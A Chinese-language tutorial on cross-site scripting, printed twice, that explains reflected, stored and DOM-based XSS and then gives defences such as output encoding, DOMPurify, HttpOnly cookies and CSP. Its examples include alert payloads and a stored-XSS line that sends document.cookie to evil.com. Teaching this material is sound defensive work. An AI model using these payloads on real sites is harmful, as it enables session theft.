markdown# XSS 之攻击与防御跨站脚本攻击XSS是一种常见的 Web 安全漏洞攻击者通过在页面中注入恶意脚本当其他用户访问时脚本会在其浏览器中执行从而窃取信息、劫持会话或进行钓鱼等。---## 一、XSS 攻击的三种类型### 1. 反射型 XSS非持久型恶意脚本通过 URL 参数等一次性提交服务端直接将参数内容“反射”到响应页面中导致脚本在受害者浏览器执行。**攻击示例**htmlhttps://example.com/search?qscriptalert(document.cookie)/script若服务端直接将 q 参数的值插入 HTMLphp?php echo p搜索结果: . $_GET[q] . /p; ?用户点击恶意链接后脚本就执行了。特点需要诱导用户点击链接一次性触发。2. 存储型 XSS持久型攻击者将恶意脚本提交并存储到服务器如数据库、日志、评论等当其他用户请求展示这些数据时脚本从服务器取出并在浏览器执行。攻击示例· 在留言板提交scriptnew Image().srchttp://evil.com/steal?cdocument.cookie/script· 所有访问留言板的用户其 Cookie 都会被悄悄发送到攻击者服务器。特点危害最大一旦植入所有访问相关页面的用户都可能中招。3. DOM 型 XSS纯粹在客户端发生的漏洞。恶意脚本通过修改页面的 DOM 环境执行服务端返回的 HTML 本身可能没有变化但客户端 JavaScript 处理数据时将不可信的数据动态写入到了可执行上下文中。攻击示例html!-- 页面中有这样的 JS --scriptvar hash location.hash.substring(1);document.getElementById(content).innerHTML hash;/script当用户访问 http://example.com/page#img srcx onerroralert(1)innerHTML 插入的 img 标签会触发 onerror 事件执行脚本。特点浏览器 URL 的 fragment#之后的部分不会发送到服务器因此有时更难被 WAF 检测。---二、XSS 的危害· 窃取 Cookie通过 document.cookie 拿到会话标识劫持用户登录态。· 键鼠记录监听键盘事件记录账号密码。· 重定向钓鱼将页面跳转到伪造的登录页。· 篡改网页内容插入虚假广告、恶意链接。· 浏览器挖矿植入 JS 挖矿脚本消耗用户 CPU。· 结合其他漏洞如配合 CSRF 进行蠕虫传播如曾经的新浪微博 XSS 蠕虫。---三、XSS 的防御防御的核心原则永远不要信任用户的输入对所有动态输出的数据进行合适的编码或转义。1. 输出编码关键防御根据数据放入的上下文选择正确的编码方式上下文 不安全写法 安全防御HTML 元素内容 ? $username ? 使用 htmlspecialchars($username, ENT_QUOTES, UTF-8) 将 等转为实体HTML 属性值 input value? $val ? 同上且属性值必须用引号包裹对不可信数据避免放入 href、onclick 等事件属性JavaScript 中 var name ? $name ?; 需要将数据转为安全的 JS 字符串如先 JSON 序列化再去除危险字符或采用安全的 API 传递数据。更推荐避免在 script 标签内直接插入不可信数据改用 data-* 属性或 meta 标签再通过 JS 读取。CSS 中 background: url(? $url ?); 极其危险应避免动态控制 CSS。需要的话使用严格的 URL 白名单验证。URL 参数中 href? $link ? 检查协议只允许 http:、https: 或相对路径并做 URL 编码。不可让用户完全控制整个链接地址。现代前端框架React、Vue、Angular默认会对 { } 插值进行 HTML 转义能防御大部分 XSS。但必须注意· React 中 dangerouslySetInnerHTML· Vue 中的 v-html· Angular 中的 [innerHTML]这些都会绕过转义应杜绝将不可信数据传入其中。2. 输入验证· 白名单验证比如手机号、邮箱、纯数字等限定格式。· 黑名单过滤不可靠易被绕过仅作辅助。· 长度限制能增加利用难度但不能根本解决。· 对于富文本输入如论坛帖子应使用安全的 HTML 净化库如 DOMPurify前端或服务端的 OWASP Java HTML Sanitizer 等严格限制允许的标签和属性。3. 设置 HttpOnly Cookie会话 Cookie 加上 HttpOnly 属性可阻止 JavaScript 通过 document.cookie 读取即便存在 XSS 也无法直接窃取会话 ID。Set-Cookie: sessionidxxx; HttpOnly; Secure; SameSiteLax4. 内容安全策略CSPCSP 是纵深防御的利器通过 HTTP 响应头或 meta 标签告诉浏览器哪些资源可以加载、脚本从哪里可以执行。严格 CSP 示例Content-Security-Policy: script-src self nonce-随机值; object-src none; base-uri self;· 这样即使攻击者注入 script 标签因为来源不是 self 且没有正确的 nonce脚本也不会执行。· 建议使用严格的 nonce每次请求随机生成或 hash 模式避免使用 unsafe-inline。5. 使用安全的 DOM 操作在原生 JS 中避免使用会解析 HTML 的 API 传入不可信数据· 危险innerHTML、outerHTML、document.write()、eval()。· 安全替代textContent仅渲染文本、createElement 配合 setAttribute仍需注意属性值风险或直接使用框架的安全绑定。6. 避免将不可信数据直接传入 JavaScript常见危险模式javascript// 危险服务端直接拼接var user ?$username?;// 如果 $username 是 ; alert(1); // 就能逃逸。// 推荐用 JSON 序列化后嵌入var user ? json_encode($username, JSON_HEX_TAG | JSON_HEX_AMP) ?;JSON 序列化可安全地将数据从服务端传递给前端的 JavaScript 变量。7. 配合其他安全头· X-Content-Type-Options: nosniff 防止浏览器 MIME 嗅探执行脚本。· Referrer-Policy 控制 Referer 泄露。· X-XSS-Protection 这个头已经很陈旧现在浏览器已基本弃用不应依赖它。---四、总结防御清单· ✅ 模板/框架默认转义避免使用 innerHTML / v-html / dangerouslySetInnerHTML 插入不可信数据· ✅ 根据输出上下文选择正确的编码函数HTML 实体、JS 编码、URL 编码等· ✅ 富文本场景使用白名单净化器如 DOMPurify· ✅ Cookie 设置 HttpOnly; Secure; SameSiteStrict· ✅ 部署严格的 CSP使用 nonce 或 hash 禁止内联脚本· ✅ 输入做服务端白名单校验不依赖前端验证· ✅ 避免 JSONP、eval、动态脚本加载等危险操作· ✅ 定期安全测试和代码审计XSS 防御无法靠单一措施完全杜绝需要层层设防。深层防御的组合策略能将风险降到最低。
【安全】XSS 之攻击与防御
发布时间:2026/7/1 11:38:19
markdown# XSS 之攻击与防御跨站脚本攻击XSS是一种常见的 Web 安全漏洞攻击者通过在页面中注入恶意脚本当其他用户访问时脚本会在其浏览器中执行从而窃取信息、劫持会话或进行钓鱼等。---## 一、XSS 攻击的三种类型### 1. 反射型 XSS非持久型恶意脚本通过 URL 参数等一次性提交服务端直接将参数内容“反射”到响应页面中导致脚本在受害者浏览器执行。**攻击示例**htmlhttps://example.com/search?qscriptalert(document.cookie)/script若服务端直接将 q 参数的值插入 HTMLphp?php echo p搜索结果: . $_GET[q] . /p; ?用户点击恶意链接后脚本就执行了。特点需要诱导用户点击链接一次性触发。2. 存储型 XSS持久型攻击者将恶意脚本提交并存储到服务器如数据库、日志、评论等当其他用户请求展示这些数据时脚本从服务器取出并在浏览器执行。攻击示例· 在留言板提交scriptnew Image().srchttp://evil.com/steal?cdocument.cookie/script· 所有访问留言板的用户其 Cookie 都会被悄悄发送到攻击者服务器。特点危害最大一旦植入所有访问相关页面的用户都可能中招。3. DOM 型 XSS纯粹在客户端发生的漏洞。恶意脚本通过修改页面的 DOM 环境执行服务端返回的 HTML 本身可能没有变化但客户端 JavaScript 处理数据时将不可信的数据动态写入到了可执行上下文中。攻击示例html!-- 页面中有这样的 JS --scriptvar hash location.hash.substring(1);document.getElementById(content).innerHTML hash;/script当用户访问 http://example.com/page#img srcx onerroralert(1)innerHTML 插入的 img 标签会触发 onerror 事件执行脚本。特点浏览器 URL 的 fragment#之后的部分不会发送到服务器因此有时更难被 WAF 检测。---二、XSS 的危害· 窃取 Cookie通过 document.cookie 拿到会话标识劫持用户登录态。· 键鼠记录监听键盘事件记录账号密码。· 重定向钓鱼将页面跳转到伪造的登录页。· 篡改网页内容插入虚假广告、恶意链接。· 浏览器挖矿植入 JS 挖矿脚本消耗用户 CPU。· 结合其他漏洞如配合 CSRF 进行蠕虫传播如曾经的新浪微博 XSS 蠕虫。---三、XSS 的防御防御的核心原则永远不要信任用户的输入对所有动态输出的数据进行合适的编码或转义。1. 输出编码关键防御根据数据放入的上下文选择正确的编码方式上下文 不安全写法 安全防御HTML 元素内容 ? $username ? 使用 htmlspecialchars($username, ENT_QUOTES, UTF-8) 将 等转为实体HTML 属性值 input value? $val ? 同上且属性值必须用引号包裹对不可信数据避免放入 href、onclick 等事件属性JavaScript 中 var name ? $name ?; 需要将数据转为安全的 JS 字符串如先 JSON 序列化再去除危险字符或采用安全的 API 传递数据。更推荐避免在 script 标签内直接插入不可信数据改用 data-* 属性或 meta 标签再通过 JS 读取。CSS 中 background: url(? $url ?); 极其危险应避免动态控制 CSS。需要的话使用严格的 URL 白名单验证。URL 参数中 href? $link ? 检查协议只允许 http:、https: 或相对路径并做 URL 编码。不可让用户完全控制整个链接地址。现代前端框架React、Vue、Angular默认会对 { } 插值进行 HTML 转义能防御大部分 XSS。但必须注意· React 中 dangerouslySetInnerHTML· Vue 中的 v-html· Angular 中的 [innerHTML]这些都会绕过转义应杜绝将不可信数据传入其中。2. 输入验证· 白名单验证比如手机号、邮箱、纯数字等限定格式。· 黑名单过滤不可靠易被绕过仅作辅助。· 长度限制能增加利用难度但不能根本解决。· 对于富文本输入如论坛帖子应使用安全的 HTML 净化库如 DOMPurify前端或服务端的 OWASP Java HTML Sanitizer 等严格限制允许的标签和属性。3. 设置 HttpOnly Cookie会话 Cookie 加上 HttpOnly 属性可阻止 JavaScript 通过 document.cookie 读取即便存在 XSS 也无法直接窃取会话 ID。Set-Cookie: sessionidxxx; HttpOnly; Secure; SameSiteLax4. 内容安全策略CSPCSP 是纵深防御的利器通过 HTTP 响应头或 meta 标签告诉浏览器哪些资源可以加载、脚本从哪里可以执行。严格 CSP 示例Content-Security-Policy: script-src self nonce-随机值; object-src none; base-uri self;· 这样即使攻击者注入 script 标签因为来源不是 self 且没有正确的 nonce脚本也不会执行。· 建议使用严格的 nonce每次请求随机生成或 hash 模式避免使用 unsafe-inline。5. 使用安全的 DOM 操作在原生 JS 中避免使用会解析 HTML 的 API 传入不可信数据· 危险innerHTML、outerHTML、document.write()、eval()。· 安全替代textContent仅渲染文本、createElement 配合 setAttribute仍需注意属性值风险或直接使用框架的安全绑定。6. 避免将不可信数据直接传入 JavaScript常见危险模式javascript// 危险服务端直接拼接var user ?$username?;// 如果 $username 是 ; alert(1); // 就能逃逸。// 推荐用 JSON 序列化后嵌入var user ? json_encode($username, JSON_HEX_TAG | JSON_HEX_AMP) ?;JSON 序列化可安全地将数据从服务端传递给前端的 JavaScript 变量。7. 配合其他安全头· X-Content-Type-Options: nosniff 防止浏览器 MIME 嗅探执行脚本。· Referrer-Policy 控制 Referer 泄露。· X-XSS-Protection 这个头已经很陈旧现在浏览器已基本弃用不应依赖它。---四、总结防御清单· ✅ 模板/框架默认转义避免使用 innerHTML / v-html / dangerouslySetInnerHTML 插入不可信数据· ✅ 根据输出上下文选择正确的编码函数HTML 实体、JS 编码、URL 编码等· ✅ 富文本场景使用白名单净化器如 DOMPurify· ✅ Cookie 设置 HttpOnly; Secure; SameSiteStrict· ✅ 部署严格的 CSP使用 nonce 或 hash 禁止内联脚本· ✅ 输入做服务端白名单校验不依赖前端验证· ✅ 避免 JSONP、eval、动态脚本加载等危险操作· ✅ 定期安全测试和代码审计XSS 防御无法靠单一措施完全杜绝需要层层设防。深层防御的组合策略能将风险降到最低。